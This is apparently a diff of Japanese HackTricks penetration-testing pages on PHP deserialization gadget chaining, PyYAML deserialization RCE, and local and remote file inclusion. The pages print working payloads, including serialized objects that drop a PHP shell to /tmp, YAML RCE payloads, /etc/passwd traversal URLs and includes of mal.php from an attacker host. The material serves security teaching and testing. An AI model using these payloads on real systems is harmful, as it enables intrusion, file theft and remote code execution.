少なくともv18.4.0からこの保護が**実装されており、**そのため`spawn`および`spawnSync`の**エクスプロイト**はメソッドに影響を与えなくなりました(`options`が使用されていない場合!)。
|
少なくともv18.4.0からこの保護が**実装**されており、したがって`spawn`および`spawnSync`の**エクスプロイト**はメソッドに影響を与えなくなりました(`options`が使用されていない場合!)。
|
||||||
|
|
||||||
[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**が、**`{}`**の代わりに**`kEmptyObject`**に設定されることで**ある程度修正**されました。
|
[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**が、**`{}`**の代わりに**`kEmptyObject`**に設定されることで**ある程度修正**されました。
|
||||||
|
|
||||||
|
@ -6,14 +6,14 @@
|
|||||||
|
|
||||||
## PHP デシリアライズ + spl_autoload_register + LFI/Gadget
|
## PHP デシリアライズ + spl_autoload_register + LFI/Gadget
|
||||||
|
|
||||||
私たちは、**`phpggc`**内に脆弱なガジェットを持たない**ウェブアプリでのPHPデシリアライズ**を見つけた状況にいます。しかし、同じコンテナ内には**脆弱なライブラリを持つ別のコンポーザーウェブアプリ**がありました。したがって、目標は**別のウェブアプリのコンポーザーローダーをロードし**、それを悪用して**デシリアライズに脆弱なウェブアプリのライブラリをガジェットで攻撃すること**でした。
|
私たちは、**`phpggc`** 内に脆弱なガジェットを持たない **ウェブアプリのPHPデシリアライズ** を見つけた状況にいます。しかし、同じコンテナ内には **脆弱なライブラリを持つ別のコンポーザーウェブアプリ** がありました。したがって、目標は **別のウェブアプリのコンポーザーローダーをロードし**、それを悪用して **デシリアライズに脆弱なウェブアプリのガジェットを使用してそのライブラリを攻撃すること** でした。
|
||||||
|
|
||||||
手順:
|
手順:
|
||||||
|
|
||||||
- **デシリアライズ**を見つけ、現在のアプリコードには**ガジェットが存在しない**
|
- **デシリアライズ** を見つけ、現在のアプリコードには **ガジェットが存在しない**
|
||||||
- 次のような**`spl_autoload_register`**関数を悪用して、**`.php`拡張子のローカルファイルをロードする**
|
- 次のような **`spl_autoload_register`** 関数を悪用して **`.php` 拡張子のローカルファイルをロードする**
|
||||||
- そのために、クラス名が**`$name`**内に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名には**"/"や"."**を使用できませんが、**コード**は**アンダースコア**("\_")を**スラッシュ**("/")に**置き換えています**。したがって、`tmp_passwd`のようなクラス名は`/tmp/passwd.php`に変換され、コードはそれをロードしようとします。\
|
- そのために、クラス名が **`$name`** 内に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名には **"/" または "."** を使用できませんが、**コード** は **アンダースコア** ("\_") を **スラッシュ** ("/") に **置き換えています**。したがって、`tmp_passwd` のようなクラス名は `/tmp/passwd.php` に変換され、コードはそれをロードしようとします。\
|
||||||
**ガジェットの例**は次のようになります:**`O:10:"tmp_passwd":0:{}`**
|
**ガジェットの例** は次のようになります: **`O:10:"tmp_passwd":0:{}`**
|
||||||
```php
|
```php
|
||||||
spl_autoload_register(function ($name) {
|
spl_autoload_register(function ($name) {
|
||||||
|
|
||||||
@ -43,22 +43,22 @@ require __DIR__ . $filename;
|
|||||||
- この別のライブラリを読み込むには、まず**その別のウェブアプリのComposerローダーを読み込む必要があります**(現在のアプリケーションのものでは他のライブラリにアクセスできません)。**アプリケーションのパスを知っていれば**、次のように非常に簡単に実現できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**(私の場合、Composerローダーは`/www/frontend/vendor/autoload.php`にありました)
|
- この別のライブラリを読み込むには、まず**その別のウェブアプリのComposerローダーを読み込む必要があります**(現在のアプリケーションのものでは他のライブラリにアクセスできません)。**アプリケーションのパスを知っていれば**、次のように非常に簡単に実現できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**(私の場合、Composerローダーは`/www/frontend/vendor/autoload.php`にありました)
|
||||||
- さて、他の**アプリのComposerローダーを読み込む**ことができるので、**使用するための`phpgcc`** **ペイロードを生成する**時です。私の場合、**`Guzzle/FW1`**を使用し、これにより**ファイルシステム内の任意のファイルを書き込む**ことができました。
|
- さて、他の**アプリのComposerローダーを読み込む**ことができるので、**使用するための`phpgcc`** **ペイロードを生成する**時です。私の場合、**`Guzzle/FW1`**を使用し、これにより**ファイルシステム内の任意のファイルを書き込む**ことができました。
|
||||||
- 注:**生成されたガジェットは機能しませんでした**。機能させるために、**`chain.php`**のphpggcペイロードを**修正**し、クラスの**すべての属性**を**privateからpublicに**設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。
|
- 注:**生成されたガジェットは機能しませんでした**。機能させるために、**`chain.php`**のphpggcペイロードを**修正**し、クラスの**すべての属性**を**privateからpublicに**設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。
|
||||||
- これで、**他のアプリのComposerローダーを読み込む方法**があり、**機能するphpggcペイロード**も手に入れましたが、**ガジェットが使用されるときにローダーが読み込まれるためには、同じリクエストでこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
|
- これで、**他のアプリのComposerローダーを読み込む方法**があり、**機能するphpggcペイロード**もありますが、**ガジェットが使用されるときにローダーが読み込まれるためには、同じリクエスト内でこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
|
||||||
- **最初にローダーが読み込まれ、その後にペイロードが表示される**のがわかります。
|
- **最初にローダーが読み込まれ、その後ペイロードが表示される**のがわかります。
|
||||||
```php
|
```php
|
||||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||||
```
|
```
|
||||||
- さて、**ファイルを作成して書き込む**ことはできますが、ユーザーは**ウェブサーバー内の任意のフォルダーに書き込むことができません**。したがって、ペイロードに見られるように、PHPが**`system`**を呼び出し、いくつかの**base64**が**`/tmp/a.php`**に作成されます。次に、**最初のタイプのペイロードを再利用**して、他のウェブアプリのコンポーザーローダーを読み込むために、生成された**`/tmp/a.php`**ファイルを読み込みます。それをデシリアライズガジェットに追加するだけです: 
|
- さて、**ファイルを作成して書き込む**ことができますが、ユーザーは**ウェブサーバー内の任意のフォルダーに書き込むことができません**。したがって、ペイロードに示されているように、PHPが**`system`**を呼び出し、いくつかの**base64**が**`/tmp/a.php`**に作成されます。次に、**最初のタイプのペイロードを再利用**して、他のウェブアプリのコンポーザーローダーを読み込み、生成された**`/tmp/a.php`**ファイルを読み込むことができます。それをデシリアライズガジェットに追加するだけです: 
|
||||||
```php
|
```php
|
||||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||||
```
|
```
|
||||||
**ペイロードの概要**
|
**ペイロードの概要**
|
||||||
|
|
||||||
- **同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む**
|
- **異なるウェブアプリのcomposerオートロードを読み込む** 同じコンテナ内で
|
||||||
- **phpggcガジェットを読み込む** ことで、他のウェブアプリのライブラリを悪用する(最初のウェブアプリはデシリアライズに脆弱で、ライブラリにガジェットがなかった)
|
- **phpggcガジェットを読み込む** 他のウェブアプリのライブラリを悪用するために(最初のウェブアプリはデシリアライズに脆弱で、ライブラリにガジェットがなかった)
|
||||||
- ガジェットは、/tmp/a.phpに悪意のあるコマンドを含む**PHPペイロードのファイルを作成する**
|
- ガジェットは **/tmp/a.php にPHPペイロード** を含むファイルを作成し、悪意のあるコマンドを実行する(ウェブアプリのユーザーはどのウェブアプリのフォルダーにも書き込むことができない)
|
||||||
- ペイロードの最終部分は、**生成されたPHPファイルを読み込む**ことでコマンドを実行する
|
- ペイロードの最終部分は **生成されたPHPファイルを読み込む** ことでコマンドを実行する
|
||||||
|
|
||||||
私はこのデシリアライズを**2回呼び出す必要があった**。私のテストでは、最初の時に`/tmp/a.php`ファイルが作成されたが読み込まれず、2回目には正しく読み込まれた。
|
私はこのデシリアライズを **2回呼び出す必要があった**。私のテストでは、最初の時に `/tmp/a.php` ファイルが作成されたが読み込まれず、2回目には正しく読み込まれた。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -22,7 +22,7 @@ print(yaml.dump(range(1,10)))
|
|||||||
- 10
|
- 10
|
||||||
- 1
|
- 1
|
||||||
```
|
```
|
||||||
**タプル**が生のデータ型ではなく、そのため**シリアライズ**されたことを確認してください。そして、**range**(ビルトインから取得)でも同じことが起こりました。
|
チェックしてみてください、**tuple**は生のデータ型ではないため、**serialized**されました。そして、**range**(ビルトインから取得)でも同じことが起こりました。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -68,7 +68,7 @@ print(yaml.unsafe_load_all(data))
|
|||||||
|
|
||||||
**古いバージョン**のpyyamlは、何かを読み込む際に**Loaderを指定しなかった場合**、デシリアライズ攻撃に対して脆弱でした: `yaml.load(data)`
|
**古いバージョン**のpyyamlは、何かを読み込む際に**Loaderを指定しなかった場合**、デシリアライズ攻撃に対して脆弱でした: `yaml.load(data)`
|
||||||
|
|
||||||
[**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)**で見つけることができます。** 提案された**エクスプロイト**は次の通りです:
|
[**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)**で見つけることができます。** 提案された**エクスプロイト**は次のとおりです:
|
||||||
```yaml
|
```yaml
|
||||||
!!python/object/new:str
|
!!python/object/new:str
|
||||||
state: !!python/tuple
|
state: !!python/tuple
|
||||||
@ -87,11 +87,11 @@ state:
|
|||||||
],
|
],
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
注意してください、**最近のバージョン**では、**`Loader`**なしで**`.load()`**を**呼び出すことはできません**、そして**`FullLoader`**はこの攻撃に**もはや脆弱ではありません**。
|
最近のバージョンでは、`Loader`なしで`.load()`を呼び出すことはできず、`FullLoader`はこの攻撃に対して脆弱ではなくなりました。
|
||||||
|
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
カスタムペイロードは、**PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用して作成できます。これらのペイロードは、適切なサニタイズなしで信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。
|
カスタムペイロードは、**PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用して作成できます。これらのペイロードは、適切なサニタイズなしに信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。
|
||||||
```python
|
```python
|
||||||
import yaml
|
import yaml
|
||||||
from yaml import UnsafeLoader, FullLoader, Loader
|
from yaml import UnsafeLoader, FullLoader, Loader
|
||||||
@ -111,9 +111,9 @@ print(yaml.load(deserialized_data, Loader=UnsafeLoader))
|
|||||||
print(yaml.load(deserialized_data, Loader=Loader))
|
print(yaml.load(deserialized_data, Loader=Loader))
|
||||||
print(yaml.unsafe_load(deserialized_data))
|
print(yaml.unsafe_load(deserialized_data))
|
||||||
```
|
```
|
||||||
### ペイロードを作成するためのツール
|
### Payloadを作成するためのツール
|
||||||
|
|
||||||
ツール [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) は、**Pickle, PyYAML, jsonpickle および ruamel.yaml** を悪用するための Python デシリアライズペイロードを生成するために使用できます。
|
ツール [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) は、**Pickle, PyYAML, jsonpickle, ruamel.yaml** を悪用するためのPythonデシリアライズペイロードを生成するために使用できます。
|
||||||
```bash
|
```bash
|
||||||
python3 peas.py
|
python3 peas.py
|
||||||
Enter RCE command :cat /root/flag.txt
|
Enter RCE command :cat /root/flag.txt
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# ファイルインクルージョン/パス横断
|
# ファイルインクルージョン/パストラバーサル
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -26,7 +26,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||||||
`/`を`\`に変更してみてください。\
|
`/`を`\`に変更してみてください。\
|
||||||
`../../../../../`を追加してみてください。
|
`../../../../../`を追加してみてください。
|
||||||
|
|
||||||
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)にあります。
|
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
@ -37,7 +37,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||||||
`/`を`\`に変更してみてください。\
|
`/`を`\`に変更してみてください。\
|
||||||
`C:/`を削除して`../../../../../`を追加してみてください。
|
`C:/`を削除して`../../../../../`を追加してみてください。
|
||||||
|
|
||||||
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)にあります。
|
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
@ -49,7 +49,7 @@ LinuxのLFIリストを確認してください。
|
|||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
### トラバーサルシーケンスが非再帰的に除去されました
|
### トラバーサルシーケンスが非再帰的に削除されました
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||||
@ -57,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **ヌルバイト (%00)**
|
### **ヌルバイト (%00)**
|
||||||
|
|
||||||
提供された文字列の末尾にさらに文字を追加するのをバイパスします (バイパス: $\_GET\['param']."php")
|
提供された文字列の末尾に文字を追加するのをバイパスします (バイパス: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`)をURLに追加し、その後`/etc/passwd`に移動します。追加のディレクトリレベルは深さを1つ増やす必要があります:
|
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`)をURLに追加し、その後`/etc/passwd`に戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
@ -101,15 +101,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||||||
```
|
```
|
||||||
### **パストランケーション技術**
|
### **パストランケーション技術**
|
||||||
|
|
||||||
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
|
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指し示すファイルパスを作成することです。
|
||||||
|
|
||||||
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:
|
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:
|
||||||
|
|
||||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
|
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
|
||||||
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
|
- 最後の6文字が`passwd`の場合、`/`を追加して`passwd/`にしても、ターゲットファイルは変わりません。
|
||||||
- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
|
- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加しても、アクセスされるファイルは変更されません。
|
||||||
|
|
||||||
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
|
提供された例は、敏感な内容(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスするためにパストランケーションを利用する方法を示しています:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -122,8 +122,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||||||
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
|
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
|
||||||
|
|
||||||
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
|
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
|
||||||
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
|
- **必要なトラバーサルの数の特定**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
|
||||||
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
|
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は、予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
|
||||||
|
|
||||||
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||||||
|
|
||||||
@ -139,7 +139,7 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## リモートファイルインクルージョン
|
## リモートファイルインクルージョン
|
||||||
|
|
||||||
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
|
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能せず、その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
@ -167,17 +167,17 @@ os.path.join(os.getcwd(), "public", file_name)
|
|||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
```
|
```
|
||||||
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次の通りです:
|
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次のとおりです:
|
||||||
|
|
||||||
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
|
> コンポーネントが絶対パスである場合、すべての以前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
|
||||||
|
|
||||||
## Java ディレクトリのリスト
|
## Java ディレクトリのリスト
|
||||||
|
|
||||||
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限りでは)。
|
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
|
||||||
|
|
||||||
## トップ25パラメータ
|
## トップ 25 パラメータ
|
||||||
|
|
||||||
ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から):
|
ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -222,18 +222,18 @@ PHPフィルターは、データが読み込まれる前または書き込ま
|
|||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
|
- `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するような関数を作成するのに役立ちます。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
|
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に抽出する場合に便利)
|
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に送信する場合に便利)
|
||||||
- `zlib.inflate`: データを解凍します
|
- `zlib.inflate`: データを解凍します
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : 非推奨
|
- `mcrypt.*` : 非推奨
|
||||||
- `mdecrypt.*` : 非推奨
|
- `mdecrypt.*` : 非推奨
|
||||||
- その他のフィルター
|
- Other Filters
|
||||||
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
|
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
|
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
|
||||||
@ -269,30 +269,30 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
|
|
||||||
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
|
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
|
||||||
|
|
||||||
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型抽出(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
|
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用してファイルをブール的に抽出する(文字ごとに)**ことに基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
|
||||||
|
|
||||||
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
|
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
|
||||||
|
|
||||||
- コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
|
- コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を置き、文字列のサイズを指数関数的に増加させます。
|
||||||
- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
|
- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
|
||||||
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数であるかどうかを知ることができます。
|
- **dechunk**フィルタは、最初の文字が16進数でない場合は**すべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
|
||||||
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数であれば、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
|
